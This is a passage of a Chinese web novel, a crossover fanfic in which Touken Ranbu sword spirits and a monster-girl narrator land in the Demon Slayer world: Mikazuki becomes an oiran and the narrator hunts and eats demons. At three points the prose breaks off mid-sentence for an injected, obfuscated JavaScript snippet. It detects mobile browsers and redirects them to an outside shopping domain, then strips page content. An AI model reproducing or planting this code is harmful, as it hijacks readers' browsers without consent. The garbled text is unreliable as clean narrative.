灯笼探进来,照亮了三日月宗近一片绀色衣角。 老板娘一看,顿时倒吸了一口冷气,强抑惊惶质问道:“什、什么人在里面!” 三日月宗近有些无奈,从完全藏不住自己的角落起身,缓步来到灯光能照到的位置。 灯笼带来的光线昏暗,给房间内笼罩上一层朦胧柔和的纱,青年的身形纤长高大,走近时自带压迫感,让老板娘都忍不住后退了一步。可当她看清楚三日月宗近那张脸时,她的呼吸都停住了,只剩下一颗心脏在砰砰狂跳。 那是一张怎样的面容呢? 轩然霞举的男人如同天中云,云边月。他的鼻梁高挺笔直,嘴唇薄而色淡,那双眼睛含着新月,似乎看谁都带着温情,可那层温柔的纱下,却翻涌着难以触碰的冰冷,让人望而生畏。 而当他唇角的那丝弧度有了真情,便能让任何一个人为他做出任何事。 这真是…… 三日月宗近发间垂下的金色流苏轻轻一荡,简直让在场所有人的心神都为之一颤,他抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364406|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨开梁上垂下的一块脱落的破布,说话的音调十分好听,他道:“真是失礼打扰各位了,在下与小妹误入至此,这就离开。” 说着,他护住我的脑袋,想要带我快些逃走。 听到他要走,老板娘总算是从三日月的美貌中缓过神来,不知道哪里来的勇气,大声道:“等一下!” 三日月其实没有停下的,但是老板娘直接拦住了他的去路。 她问道:“先生可是荻本屋的客人?家中可有适龄的姐妹?” 三日月轻轻叹了口气,温声说:“并非客人,真的只是误入。” “客人,您别开玩笑了,吉原游郭可不是一句误入就能随意进来的。”老板娘笑着摆摆手,她看向三日月怀里的女孩:“可是还没有找到年季奉公的合适人家?我们荻本屋可是能在游郭中算得上名号的,要是您将妹妹交给我们好好培养,我们一定能让她变成站在吉原游郭最高处的花魁。” 三日月宗近托着我的手一抖,笑容之中多了些难以明说的欲言又止。 这里可是吉原游郭,以审神者的年纪只能去当服侍花魁的秃。让她去服侍别人,同时学习歌舞琴艺茶道,还要学习接待客人的礼仪,审神者不把这里掀翻了天都算好的。 不过…… 吉原确实是个搜集情报的好地方,在一切状况尚未明晰之前,待在这里是个不错的选择。 可,有必要吗? 如果只是清除时间溯行军的话没这个必要,然而他现在还要寻找之前没能回到本丸的五个同伴。 既然这样的话。 三日月宗近只是略微思考便做出了决定,他说:“我来做。” 老板娘一怔:“你来……” 荻本屋的伙计:“当花魁?” “男人来当花魁??” “你疯了不成?男人怎么当花魁?” 我全程都在旁听,但听到这里依旧一头雾水。 吉原游郭是什么地方? 花魁是什么? 三日月要做花魁,他们怎么这么惊讶? 三日月宗近眉眼柔和下来,那双美丽的眼睛盛满秋水般的温和,薄唇扬起的弧度恰到好处,唇角的弧度温润而不轻佻,他的笑容将老板娘迷得七荤八素,脑袋里面已经弱化了性别上的限制。 “我说,我来做。” 他来做。 以他的姿态与容貌,只要露面,必定是被所有人簇拥的花魁。 其实说到底,原本最初的艺伎也就是男性,他们以演奏传统鼓乐,说唱逗乐为生,后面艺伎行业才被女性所取代。 都是哄客人开心,让客人心甘情愿花钱的工作,男人好像也是能做的。 对啊。 既然这样,男人怎么不能当花魁? 当啊!必须当啊! 她荻本屋,要是有了这位坐镇,绝对可以拳打时任屋,脚踢京极屋,借此一举成为游郭最受欢迎的游女屋! 老板娘当即拍板:“成交!” 我微微抬头,三日月宗近顺着我的力道将手掌垫在我的颈脖处,他敛下眼眸,刚好与我对视。 蔚蓝的眼眸中倒映着那轮新月,就像是月亮真正回归了属于他的天空。 他安抚性地朝我展颜一笑,用嘴型对我说:没关系的,我会做好一切。 真是可靠的下属,比我的海妖更具智慧。 但有时候下属比主人更聪明并不是件好事。 比如现在,我真的很迫切地想知道花魁到底是什么。 23.两个副本 付丧神可以借用审神者的灵力让自己的容貌发生一些很轻微的改变。 比如三日月是短发,他可以借用我一些力量变成长发。 荻本屋老板娘上了最优秀的“造型师”帮三日月梳妆打扮,还为他定制了一套分外华丽的色打褂,那裙摆层层叠叠,将他的身形隐藏地严严实实,让人第一眼只能看到那张被华服衬得更加贵气的美貌。 我忍不住上手摸摸他的脸,结果摸下来一层粉。 给三日月上妆的游女表情裂开,“喂,你这小孩……” “没事的,刚好我也觉得粉上厚了,现在就差不多。” 三日月先是笑盈盈地安抚了游女的暴躁,见我的视线又停留在他的头饰上,好脾气地微微俯身,让我能摸到他头上的发簪和玉坠:“朝歌大人,可以尽情触碰哦。” 深蓝的长发挽成复杂的发髻,华丽繁琐的簪子戴上去感觉重的要命,但确实很漂亮,再加上他说话的音调和体态都很古朴,他安静坐在那里微笑时其实不像花魁。 ——像权臣家的女儿。 这个形容出现在我脑袋里,我自己都没反应过来,我的信息库里没有输入权臣这两个词的定义,只是在看到他时,我就觉得玩家口中的“大家闺秀”、“权臣之女”应该就是这样的。 一枚玉簪从三日月头上跌落在他跪坐着的腿上,游女姐姐再也没控制住,爆发出了尖锐的爆鸣声:“不!别再乱碰了啊!” 妆也就算了,这个头发可是她盘了一个多时辰才盘好的! 上面的发簪又多又杂,前面的簪子还好,后面的那一堆可每一根都插在很关键的位置,掉一根,很大可能就完蛋了。 ——今晚老板娘可说了,要进行月姬的花魁道中啊! 我捂住耳朵,赶紧帮三日月把那根掉下来的簪子又插回去。 青年付丧神目光含笑,抬手扶了扶一缕垂下的碎发,趁着我们现在靠的很近,又轻声对我说:“朝歌大人,现在当务之急要与其他同伴汇合。今晚,要麻烦您前去寻找鹤丸。” 我动作一顿。 “已经和本丸连接的您可以感知到出阵刀剑的位置。”三日月宗近继续低声道:“这件事情,只有您做到了。” 这个嘛。 其实要找到鹤丸他们是一件很简单的事情。 早在意识到另外四个队友不在身边的那一瞬间,我就已经锁定了他们的位置,当时没有立刻去寻,是因为三日月突然说要留下来当什么花魁。 现在我已经知道花魁是什么了,虽然不理解他为什么想这么做,但我觉得三日月很聪明,他这样做一定有他自己的道理。 待在三日月身边多有趣啊,能看见限定花魁立绘,还有互动环节,我要摸脸就让我摸脸,我要摸头发就让我摸头发。 听游女姐姐说,晚上的花魁道中会非常华丽震撼,有这等好事,我自然得留下来看看。 恨只恨我来本丸的时候没向主神要个可以能录影的东西,三日月这副模样可是见一次少一次啊。 到了时间,老板娘找人过来请人。 三日月轻轻摸了摸我的脑袋,起身笑道:“等待您的好消息,我先去了。” 我眼巴巴地看着他,蓝色的眼眸中倒映着他离开的背影,心里纵使有万般不舍得,也只能幽幽地叹口气,在游女姐姐也出去之后,一个人从另一条路离开了荻本屋。 呜呜呜呜,其实我也很想看花魁道中! 可恶,没有舌头不能说话,想弹对话框又碍于有人类在房间里!该死的时之政府,怎么想都是他们的错! 我不满地鼓起腮帮子,一头扎进后院的鲤鱼池里。 鹤丸国永离游郭很远,如果只靠双腿赶路的话,可能走上一天一夜都到不了他身边。 不过这对我来说不是的问题,通过水域,我可以去到任何想去的地方,这点距离不用游多久,很快就能到了。 嬉笑的声音越来越远,明亮的灯光原来越远,我在黑暗中穿行,一直游到鹤丸国永附近的一片水域才冒出个头,仔细地观察周围。 好黑啊。 游郭里灯火通明,这里却很难见到一丝光亮。 我四处张望着,听到不远处刀刃相撞的声音,我的耳朵一动,连忙爬上岸,并一路小跑着往发出声音的方向跑去。 现在正是晚冬,树木全是枯枝,视野一片开阔,在一片黑暗中,鹤丸是唯一的那一抹白色。 ……好像也不是唯一,和他打架的那些奇怪骨头架子也挺白的。 鹤丸现在的战况不容乐观,太刀刀身很长,而这里树与树的距离太短,他不好施展,行事对他不利。 眼看着鹤丸国永的刀□□枯的树枝干扰,那骨头架子的枪却蓄势待发,我加快了速度,在差不多的位置起跳,一脚踹飞了骨头架子的头骨。 鹤丸国永金色的眼眸一亮,欣喜道:“小朝歌!” 骷髅脑袋咕噜咕噜在地上滚过去,停在了一个穿着黄色羽织的少年面前。 小少年有点懵,本来看着就很呆,现在更像是个呆瓜一样傻愣愣地看着那个脑袋不动。 在他身后,有一个面露狰狞,长相不似人类的高大家伙正张牙舞爪地朝这里扑来。 准确的说是朝他扑来。 但他丝毫没有察觉,依旧还沉浸在骷髅脑袋带来的震撼中。 “危险!” 鹤丸国永抓住时机,给时间溯行军来了致命一击,又飞速挡在少年身前,挡住了鬼怪的攻击。 他真是谢天谢地,感谢审神者,她的海妖比这鬼怪力气更大,速度更快,长得更狰狞,现如今面对这种生物,鹤丸已经十分娴熟了。 “朝歌大人,用这少年的刀!”鹤丸出声提醒。 我背后出现巨大的水色手掌,抽出少年腰间的打刀,干脆利落地抹了鬼怪的脖子。 “啪嗒。” 鬼怪的脑袋咕噜咕噜滚过去,和骷髅脑袋成一排。 鹤丸国永看得嘴角一抽,但现在的情况不容他吐槽。他配合着水色的手掌,剩下的时间溯行军也很快被解决掉,他喘了口气,将太刀收回刀鞘,捂着手臂上的伤口,先来到我面前。 “怎么样?朝歌大人,有没有受伤?”鹤丸关切地看着我。 我摇摇头,脑袋上冒出一行字:[你这里是什么情况?] “有点复杂,这个小少年身边出现了时间溯行军,我本来不想暴露,没想到又出现了与时间溯行军不一样的怪物想要吃掉他。”鹤丸国永简单解释,看着缓过神来泪眼汪汪的小少年,笑道:“好多东西想杀他呀。” [可能因为他很好吃。] 小少年原本就被吓得不轻,看见这行字更是眼泪从眼眶飙出来,直接土下座跪拜,并大声喊:“不要吃我!不要吃我!我一点都不好吃!真的!真的真的!” [是吗?]我露出一个很刻板的狞笑:[那要吃过才知道。] “噫!!!”小少年整个金色的脑袋都吓得炸了毛,“你不是人类吗!你为什么要吃我啊!明明长得这么可爱就是个人类的小孩为什么要吃我啊!也不是人类的小孩吧!我从来都没见过人类的小孩头上冒文字的啊!” 鹤丸国永秒跟:“好失礼。我们朝歌大人想吃谁就吃谁,既然她看上你了,就是你的荣幸,好好去旁边的湖水里洗干净等着被吃吧!” “不要啊——!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377698|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩笑归玩笑,正事还是要做的。 在稳定了小少年的情绪后,我们从他嘴里问了些事情。 小少年的名字叫我妻善逸,目前是一个叫做鬼杀队的组织的成员,主要的任务是寻找鬼的踪迹,将鬼杀死。 而这个时代的鬼是由鬼舞辻无惨创造出来的怪物,畏惧阳光,不喜紫藤花,吃人,能够自愈伤口,需要用鬼杀队剑士的刀砍下头颅才会死,强大的鬼还会有自己的特殊能力。 我妻善逸是拿到任务要消灭这里的鬼的,结果鬼没打过,还被时间溯行军盯上了。 不过这也说明,他应该是这个时代比较重要的人物,不然时间溯行军也不会出现在这里。 还有一件事。 自从我来到这里后,就一直被一个味道吸引着。 一开始我还以为是人类的味道,我妻善逸看上去就很好吃,白白嫩嫩的,脸上还有点婴儿肥,味道也很香,不过在鹤丸与他交谈的过程中我仔细观察了,我想吃的不是他。 而是…… 那边慢时间溯行军一步消失的……鬼? 我来到那只鬼身边,他旁边的骷髅架子已经完全消散了,但鬼的身体还在一点一点化成灰烬被风吹走,暗色的血流了一地,散发着很香的味道。 趁着它半边身子还在,我拿我妻善逸的刀砍下了鬼的一根手指。 鼻尖动了动,确认那股香味确实是从鬼的肉里散发出来的,我张开嘴,将鬼的手指放进嘴里,嚼了嚼。 旁边有人倒吸了一口很响凉气。 我转过头去,看见面对我的我妻善逸一脸震撼,手颤抖地指着我,嘴里的话都说不利索:“她、她她她她……” 鹤丸边问边朝我的方向投来视线:“怎么了?” 我妻善逸:“她在吃什么东西啊!!!” 鹤丸国永看到了我嘴巴里头叼着的手指头,脸色刷一下就白了,他连忙来到我面前,手忙脚乱:“您在干什么!怎么什么东西都嘴里放啊!快吐出来!快吐出来!” 我嚼吧嚼吧,面无表情地把鬼的手指吞了下去。 我妻善逸:“噫!!!” 鹤丸国永:“主公大人啊!!!” 他立刻转到我身后,双手抱住我的腰,将我翻转过来往下倒:“这个不能吃!那是变异的人类啊!不知道里面有什么病毒,它不能吃啊大人!!” 鬼的肉没什么很特别的味道,酸酸的,香香的,嚼碎了吞下去后会化作一股凉凉的液体滑下咽喉,汇入到血液中。 这个是其次,最重要的是,我的力量好像恢复一些了。 鹤丸国永倒了半天我还没吐,他心惊胆战地把我放下,满脸紧张地看着我:“怎么办?您真的吞下去了?有哪里不舒服吗?要不要去洗胃?我带您去找医生!” 我摇摇头,给他竖了个大拇指。 “很好的意思吗……” [不仅很好,它能恢复我的力量。] “诶!这样吗!” 鹤丸国永的紧张立刻化为了惊喜,他双眼放光地看向鬼的身体,举起刀,说道:“您还想吃它的什么部位?我来帮您切!” [大腿吧,那里肉有嚼劲。] “我明白了!” 在旁边目睹全过程的我妻善逸有点崩溃,他甚至一度思考自己是不是已经被鬼吃掉了,现在只是死之前的幻想。 怎、怎么会有人觉得鬼好吃呢? 不是,怎么会有人吃鬼呢? 吃就算了,怎么他们讨论起吃鬼的事情,就像是在讨论先吃牛蛙的哪个部位一样呢? 我妻善逸痛苦地抱头。 啊,这个世界终于是癫成了他无法理解的样子了。 24.两个副本 将这半只鬼吃得干干净净,我畅快地打了个饱嗝。 鹤丸国永帮我把嘴角的血迹擦干净,顺便问了问我有没有其他同伴的消息。 我说有的,三日月现在在游郭当花魁。 因为当时三日月说这件事情的时候,老板娘他们的反应都很有趣,所以现在我说这件事情的时候,我很期待鹤丸国永的表情。 果然,他从一开始的怔忪,到后来的震惊,再变成了不解,然后变成了冥思苦想,最后定格在了理解上。 鹤丸意味深长地抵着下巴:“三日月殿下这么做,一定有他的道理。” 我颇为赞同地点点头。 鹤丸国永将话题拉回来:“夜还长,接下来小朝歌要做些什么呢?” [要去找到其他人。] [一起?] 鹤丸看着这两行字低吟了一声。 他想了想,先问了一个问题:“小朝歌,审神者应该都能感知到空间扭曲与噪声,你知道这个副本里有多少时间溯行军吗?” 这个问题就有点难为我了,我可不是感知型的诡异,被创造出来就是为了破坏、杀戮、欺骗,唯独不是用来侦查。 而且我也没时间帮他们搜集情报,既然知道吃鬼能恢复力量,我不得趁晚上鬼出没的时候多吃几只? 哦,还有一期一振没找到呢,这样算下来我要忙的事情可真多。 鹤丸国永见我一直没回答,又摸摸我的脑袋,笑道:“抱歉,你现在不能随心所欲的使用力量,我不该问你这些。小朝歌要小心些,量力而行,别透支了。” 我的胸口像是被轻轻的羽毛拨动了一瞬,好像情绪也不由自主雀跃起来。 他好关心我哦,明明自身都难保了还在为我考虑。 如果还在主神的副本里,他一定是我最喜欢的那类玩家。 我主动握住他的手,将他的掌心贴合在我的侧脸,满脸友善:[你也要小心哦,鹤丸。] “……” 鹤丸国永另一只手捂着胸口,怔怔地看着我,触碰着我脸颊的手想摸,但是又克制住了自己的冲动。 在这种渴求和压抑的挣扎中,他深吸了一口气,声音因为忍耐有些颤抖:“朝歌大人,我有一件事想和您商量……” 我看着他,等他把话说完。 “我!”鹤丸国永再也无法克制,直接抱了上来,并大声宣布:“要抱抱您!” 好可爱!好可爱好可爱! 怎么会有这么可爱的娃娃!审神者你是一块香香软软的海盐风味小蛋糕! 小脸蛋怎么这么软呀,小眼睛怎么这么透亮呀,小表情怎么这么暖呼呼的呀! 啊啊啊啊!天赐!这就是天赐!朝歌大人万岁! 为了朝歌大人的笑容,在下愿意做任何事!!! 我妻善逸:……长得那么帅气,结果是个不得了的痴汉吗这家伙! 等鹤丸国永抱够了,我也要去找下一个队友了。 白色的鹤恋恋不舍地将我送到湖边。他的袖子沾了血,脏兮兮的,但他还是很执着地找到了一块相对干净的部分擦了擦眼角,说会等我回来找他。 这模样,这氛围,搞得我好像什么骗妻子出远门实则去找小三的渣男一样。 我假装没看见,很干脆地没入湖水中,寻找下一位付丧神。 离鹤丸最近的一位付丧神是信浓藤四郎。 红发小短刀真的很可靠,他也遇上了时间溯行军,但不同的是,他就像是一阵红色的风,吹过哪里,哪里溅出就喷泉一样的血液。 不愧是短刀付丧神,动作隐蔽迅速,出手干脆利落,一击毙命。 信浓藤四郎迅速将三只时间溯行军杀死,剩下两只被我的气息所吸引,趁他们注意力分散,信浓快速刺劈,一并将其带走。 整个过程安静又迅速,帅得不行。 时间溯行军出现的地方往往是可以影响历史的关键节点,事件发生的中心则是历史的关键人物。 刚刚的我妻善逸是这样,现在那个穿着黑绿格纹羽织的小少年应该也是这样,信浓没有暴露自己,看见我来了,立刻将我拉到树丛后躲着。 “朝歌找到其他付丧神了吗?”信浓压低声音问道。 我点点头。 “这样啊,真是太好了,朝歌真能干。”他眯起眼睛笑起来,又说:“这个时空除了时间溯行军之外,还有另一种高危生物。但这并不是我们的职责所在,时间溯行军的目标是这个少年,我不能让历史被干扰,接下来我可能要跟在他身边。” 我:[我还要去找药研和白山。] “明白,请注意安全。” 我再次找到湖泊,潜入下去。 药研藤四郎这边倒是没遇见时间溯行军。 他应该是来过这个副本,即使走失也依旧有自己的目标,他现在正在找人,见到我只是礼貌地打了声招呼,又问我是否要与他同行。 我说我还要去找白山,他完全没有挽留的想法,扭头发现了目标人物,匆匆留下一句“注意安全”,便迅速隐匿身形,追了上去。 我:[……] 他是今晚第一个对我这么冷漠的男人。 可恶,他没有心。 最后一个是白山吉光。 他初次执行这个本丸的任务,其实并不知道要做些什么。 进入副本后,白山吉光先去尝试寻找同伴,结果这批出阵的同伴没找到了,倒是找到了上一批出阵的一振刀剑。 ——名字叫做大和守安定。 我心里有些失望找到的不是一期一振,可听白山吉光说,大和守安定跟清光以及和泉守的关系都很不错,我这点失望烟消云散,又蹲下来耐心查看他的状况。 身披浅葱色羽织的少年面容清秀,墨蓝色的发丝散乱。 羽织下的白色衣物伴随着刀痕裂开几道口子,上面沾染着血污,更显得他脆弱,让人忍不住滋生出强烈的保护欲。 我对美的事物一向很怜惜,当即召唤出海蝉,让它爬进大和守安定的伤口里。 有几道伤口就放了几只海蝉,多足薄壳的小生物爬上白皙的皮肤,同时还传来淅淅索索的甲壳碰撞声,听得白山吉光头皮发麻,他不敢再看,默默挪开视线。 海蝉化作灵子修补着伤口,大和守安定身上的伤基本痊愈,脸色顿时好看不少。 白山吉光又默默将视线挪回来,轻声说:“大和守可能还要一会儿才能醒来,主人,您可以枕着我的腿休息。” 他会说出这句话,想来是我现在的状态看上去有点差。 不过我自己感觉还行,用海蝉治疗确实比较耗费力量,但我刚刚吃了半只鬼,力量是够用的。 这么一想,还是得多吃点鬼,让它们变成我的力量储备着,在这个危险的副本里总有用得上的地方。 白山吉光见我没有休息的意思,又询问我接下来有什么指示。 我没有犹豫,直接说:[其他三位付丧神都跟在了能杀鬼的剑士身边,你也可以这样做。] “遵命。”白山吉光颔额应下。 跟着鬼杀队的剑士走肯定没错,他们都是追着鬼跑的,到时候不愁没鬼吃。 我抬手建立了与大和守兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386400|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的链接,稳定地输入可以维持他行动的力量。 做完这些,这一夜差不多要过去了,我今晚要做的事情已经做完,可以回去复命…… 嘶,不对。 我突然意识到什么,表情古怪。 主人不是我吗?我怎么是回去复命的那一个? 我不满地鼓起腮帮子,身体却很诚实地没入水中,回到了荻本屋后院的湖泊里。 三日月的花魁道中早就结束了,这一次惊艳亮相让他一夜之间名声大噪,想要见他的人多得门口都站不下。 而美貌只是三日月众多优点中的一个。他虽然没有经过专业培训,可他精通琴棋书画、茶道歌舞,礼仪也完全挑不出错,说话更是好听,将客人们迷得不知道天地为何物,名声传出去之后,十分受人追捧。 还有风雅人士说,以三日月的才情技艺,假以时日,一定能成为这吉原游郭的第一花魁。 老板娘脸都笑烂了呀,和我说话都是温声细语的,还心情特别好的给了我一颗糖吃。 上次太刀次郎给我的酒心巧克力我还没来得及吃呢,这下我可有两颗糖了。 我坐在旁边看三日月拆头发、卸妆,用纸笔将今晚发生的事情简短和他叙述了一遍。 三日月艰难辨认我满是错别字且十分潦草的文章,看完之后,他先按了按眼睛周围的穴位,然后对我说:“您做的很棒,朝歌大人。” “现在四位同伴都选择跟在鬼杀队的关键人物身边,总有一天大家是会聚在一起的,而最主要的问题是——” “鹤丸与您提到,除时间溯行军之外的非人类危险生物鬼,他们不像是时间溯行军一样杀一批少一批,只要有鬼王鬼舞辻无惨在,鬼会源源不断涌现出来,这个信息在我熟知的大正时代很陌生。” “要维护历史始终在正轨上,我们的目标依旧是时间溯行军,但这不代表鬼不会妨碍到我们的行动。我认为前一批出阵的付丧神没能回来,应该不是时间溯行军太强的问题,而是有鬼在其中进行干扰。” ……这种事情也是屡见不鲜了。 本丸的战力很高,接到的任务往往都有第三方势力干扰,如果没有强大的审神者带领,这些根本就是不可能完成的任务。 所以之前大家才自毁倾向严重,不想拖累新审神者啊。 三日月暗自叹了口气,继续说:“最好避开鬼走,特别是鬼王,关于他的情报几乎为零,要是遇上就真不好说了。” [首领的情报几乎为零,在这种情况遇上就完蛋了,我们要谨慎一些,尽量避开那些海怪,不要惊扰首领。] 几乎是一模一样的话,这些内容我已经听过很多遍了。 进来副本的玩家看我单纯,像是第一次被拉入副本的小白花,总是对我有很多耐心。叮嘱我不要乱跑,不要乱动,不要单走,看见海怪要跑,看见诡异要跑,看见疑似首领的怪物要飞起来跑。 玩家总是要小心翼翼的寻找每一个通关的机会,而首领却只需要欣赏着玩家漏洞百出的挣扎,将他们绞尽脑汁想出来的计划碾碎,最后全都吃掉。 三日月聪明是聪明,但他却和那些玩家一样,主动将自己摆在了弱小的一方。 怎么会想着要避开鬼王呢? 我想。 一个副本里不会存在两个首领,肯定是因为这个规则,我才能靠鬼恢复力量。 吃掉鬼舞辻无惨的话,我能恢复多少呢? 将这个副本彻底变成我的,我又能恢复多少呢? 不能避开鬼王呀,要是不能碰见他,我的这些期待,又有谁能来满足呢? 25.两个副本 “那个……” 被迫又看了一场让人san值狂掉的进食现场,我妻善逸苦兮兮地躲在离我很远的石头后面,举手提问:“大小姐,您怎么又跟过来了?鹤丸先生不是说,您暂时会去其他同伴哪里吗?” 我用游女姐姐给的帕子擦掉嘴巴和手上的血迹,没看他,只是头上冒出水组成的文字:[你的刀能杀鬼。] 我妻善逸小声嘀咕:“其他剑士的刀也能杀鬼呀……” 我动作一顿,回头露出了一个很刻板的阴险笑容,故意问他:[你说什么?] 我妻善逸完全被吓到,整个人虎躯一震,头皮发麻地往石头后面再藏藏:“没什么,没什么。我说我十分荣幸成为被大小姐选中的人。” 鹤丸国永表面上要陪我演出一副笑里藏刀的样子,实际上已经快要笑得不行了。 我是这样想的。 鬼杀队的剑士有杀鬼任务,他们知道哪里会有鬼出没,跟着他们肯定没错。 其他付丧神跟着的剑士看上去都怪聪明的,身边还跟着能口吐人言的乌鸦,传信速度很快。 反观我妻善逸,他弱弱的笨笨的,完全不禁吓,身边只有一只只会啾啾啾的小麻雀,简直就是可以利用的最佳人选。 可惜的是这些鬼好像不会成群结队的出现,昨天是一只,今天也是一只,根本不够吃。 算了,有一只算一只吧。 “诶,奇怪。” 鹤丸国永站在我身边,低头仔细打量着我,惊奇道:“是错觉吗?总感觉小朝歌你……好像长高一些了?” 我低头看看自己,又抬头看向他。 视角还和以前一样,似乎没什么区别。 “不过这个年纪确实每一天都在变化,一不留神就会长得很高了。”鹤丸国永蹲下来,抬手摸摸我的脑袋:“可能之前在本丸你都不能吃东西,一点都没长,现在有东西能吃了,就开始长个儿了。” 我妻善逸已经不想吐槽这句话了,人类的孩子怎么可能会把鬼当成食物,很明显她根本就不是人类,而鹤丸先生是听从怪物指令行事的怪人。 这两个人都挺奇怪的,我妻善逸其实不想和他们扯上关系。只是在绝对的力量面前,他的不愿意根本就掀不起什么波浪,就算偷偷跑走了,还会被鹤丸先生突然追上。 ……真是造了孽了,怎么偏偏就是他呢! 我妻善逸的心理活动全都写在脸上,我就算没有读心术也能知道他是有多不想我和鹤丸跟着他一起行动。 大家都知道的,我这个恶劣的性格。 别人不喜欢我做什么,我就偏要做什么,别人希望我做什么,我要看心情做什么。 我妻善逸这么怕我,我恶劣因子直接上脑,他在心里默默祈祷我快点走,我偏不,就是跟在他旁边。 鹤丸很高兴我能这样长时间地呆在这里,担心我走不了这么远的路,他还总是想背我,让我坐在他肩膀上。 这种对我很是宠溺的态度让我后知后觉发现,鹤丸好像真是挺喜欢我的。 不是那种转瞬即逝的心血来潮,而是遇见了真正喜爱的小辈似的,在方方面面都为我想的很周到,并给我一种,随便我想干什么,反正他会给我兜底的可靠感。 明明他很清楚才对,我们迟早要分别,进入副本后也是互相利用的关系,却还能这样肆无忌惮地表达喜爱。 真看不懂,三日月好歹也有在借用我的便利,鹤丸却什么都不要我回报呢。 我坐在鹤丸国永的肩膀上,双手扶着白色付丧神的脑袋,他长得高,连带着我现在的视野也很高,甚至可以看到远处的城镇。 我妻善逸的下一个任务点不在那里,路过这座城镇的时候,鹤丸国永还尝试着给我买了一些点心吃,我不想浪费力量消化这些,鹤丸只好尽数给了我妻善逸。 金发小少年捧着热乎乎的糕点,鼻子一吸,泪眼汪汪的,差点没扑上来抱住鹤丸的腿。 “鹤丸先生……”他满脸感动,甚至还用手臂捂住眼睛:“你对我真好!还会请我吃点心!我愿意一辈子追随……” 鹤丸立刻打断他:“停,是小朝歌不能吃才只能给你的。” 我妻善逸一秒确定谁是大哥,转过来又对我说:“谢谢朝歌妹妹!你的恩情我一辈子都不会忘记的!” 他总是一辈子一辈子的,听上去这一辈子也太短了。 不过…… 我咧嘴一笑,弯腰从他手里捞走那个糕点盒,并对他做了个鬼脸。 我妻善逸一愣:“诶、诶,又不给我了吗?” 我单手撑腰,抬起下巴,顺便晃了晃手里的糕点盒。 鹤丸国永和我相处这么多天,通过这些小动作已经能很准确猜出我的想法了,他摆出了和我一样的同款表情,臭屁道:“快感谢朝歌大人。” 我妻善逸没有犹豫:“感谢朝歌大人!” “快感谢朝歌陛下!” “感谢朝歌陛下!” “快说今天晚上你一定要多找几只鬼给朝歌大人吃!” “我今天晚上一定……” 我妻善逸差点就跟着说了,关键时刻还好他悬崖勒马,瞪圆了眼睛,连连后退:“不行不行,我不行的!我不吃了!难道你们给我吃的是我的断头饭吗!我还这么年轻,都还没有和女孩子结婚!我是不可能和你们狼狈为奸的!” “狼狈为奸不是这么用的。”鹤丸国永无语地扯了扯嘴角:“我们都在你身边,你怕什么?” “那可是鬼啊!好多鬼啊!我有几条命凑上去!” 他的态度太坚定,鹤丸国永只好放弃了帮我加餐的计划。 真可惜,我妻善逸的听觉很灵敏,好几次他都没有发现审神者的到来,我妻善逸却可以先一步锁定审神者的位置。 ——有这样好的观察力,找起鬼来一定很便利。 我没生气,又把糕点盒放回我妻善逸手上,安抚地拍拍他的脑袋,表示让他多找鬼这句话是开玩笑的,我没有这种要求。 金发小少年刚刚还反抗得十分激烈,现在反倒一下子冷静下来,低头看了一会儿那个小巧的盒子,默默地收进袖子里,没有说话。 …… 今天是异化日,如果什么都不做的话,就有些太浪费了。 我妻善逸这边没什么进展,我不能一直和他们待在一起,于是在快接近黄昏时,我离开了队伍。 异化也就是一瞬间的事情,而几乎是拿回力量的同时,我就察觉到了在东北方向有一个存在感极强的生物。不知道是什么,可能是人,可能是怪物,但他就在那里,还在缓慢移动。 我找了个湖泊沉下去,朝那个方向一直游着,游了好一会儿时间,直到水面上出现明亮的霓虹灯光,直到岸上人头攒动,直到有嘈杂的交谈声出现,我才浮出水面。 感知到了,就在这附近。 我的眼睛扫过街道上的人群,一个个仔细辨别过去,甚至还找了好几个角度,终于在不远处的街角锁定了一个男性。 那人身穿绣着精致花纹的黑色衬衣,下身穿着笔挺的西装裤,黑色的中长发束在脑后,是时髦的卷发,他脸上挂着温和的笑容,身姿优雅地站在路灯下,像是在等着谁。 也许是我盯着他的时间太长了,男人若有所觉地往我的方向看过来,四目相对的那一瞬间,他和人类一模一样的瞳孔立起竖瞳,随即以人类完全无法察觉的速度迅速后撤。 我从水中暴起,在空中留下一道红色的残影,指尖撕裂空气发出尖啸,一把揪住他的衣领,将他按进一旁的小巷中。 后背狠狠将墙面撞出裂缝,发出了很大的响声,男人脑袋后仰,呕出一口血,整个过程不过几秒钟。 黑漆漆的小巷子里藏着几个不知道在干什么的人类在抽烟,他们听到动静,纷纷不满地踏着飘忽的步子,带着酒气过来赶人。 “喂……没看到这里有人在吗?什么动静,能不能安静一点?” “就是,你们真是太没有礼貌了。” 